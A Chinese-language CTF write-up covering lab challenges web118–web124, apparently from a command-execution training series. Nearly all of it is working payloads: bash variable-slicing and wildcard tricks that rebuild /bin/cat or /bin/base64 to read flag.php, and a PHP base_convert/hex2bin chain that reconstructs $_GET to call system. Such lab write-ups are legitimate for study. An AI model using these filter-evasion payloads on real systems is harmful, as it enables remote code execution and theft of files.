web118
查看源代码ls想看目录不行
这里利用一个环境变量切片得到所能使用的字母执行命令
$PWD和${PWD} 表示当前所在的目录 /var/www/html
${#PWD} 13 前面加个#表示当前目录字符串长度
${PWD:3} r/www/html 代表从第几位开始截取到后面的所有字符(从零开始)
${PWD:~3} html 代表从最后面开始向前截取几位(从零开始)
${PWD:3:1} r
${PWD:~3:1} h
${PWD:~A} l 这里的A其实就是表示1
${SHLVL:~A} 1 代表数字1
用hackbar给我卡着了那就抓包呗
code=${PATH:~A}${PWD:~A} ????.???
# nl flag.php
web119
上一个的用不上了
${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???
就是/???/??t ????.???
就是/bin/cat flag.php
还有这个
code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM}${IFS}????.???
/bin/base64 flag.php 这里其实${IFS}可以不用直接用空格,因为没禁
web120
过滤了一些东西
我本来想套娃,但是长度被限制了
但是空格没被过滤我把${IFS}换成空格就刚好了
code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???
解密到手
web121
还有PWN可以用
先来个基础
过滤${#SHLVL}可以用${##}、${#?}
${PWD::${##}}???${PWD::${##}}??${PWD:${##}:${##}} ????.???
就是/???/??v ????.???
就是/bin/rev flag.php
${PWD::${##}}???${PWD::${##}}?????${#RANDOM} ????.???
就是/???/?????4 ????.???
就是/bin/base64 flag.php
解密
两种结果
在线工具免得自己打
web122
执行<A
等命令会因找不到目录或者文件执行失败,返回值是1,$?
获取上一条命令执行结束后的返回值就是1。我们就成功构造出了数字1。
数字4还是用RANDOM随机数来获取,不过是换种方式,1/10的概率,多发几次包
code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???
一直发包就行了
web124
借用大佬的好东西我还没懂
$_GET[abs]($_GET[acos]) //strlen($content) >= 80,有长度限制,所以利用get命令执行
↓
$_GET{abs}($_GET{acos}) //[]在黑名单,用{}代替
↓
$pi=_GET;$$pi{abs}($$pi{acos})
↓
进制转换
base_convert(number,frombase,tobase):在任意进制之间转换数字
dechex():把十进制数转换为十六进制数
hex2bin():把十六进制值的字符串转换为二进制,返回 ASCII 字符
最重要的是hex2bin函数,但是不在白名单里面
base_convert构造hex2bin(我想用base_convert直接转_GET,但是只能得到get)
base_convert('hex2bin',36,10) → 37907361743
_GET → hex十六进制 5f474554 (不能有字母所以十六进制不行) → dec十进制 1598506324 (在线转换)
所以_GET可以写为
hex2bin(dechex(1598506324))
↓
base_convert('37907361743',10,36)(dechex(1598506324))
最后的payload
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos})&abs=system&acos=ls
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos})&abs=system&acos=cat *
查看源代码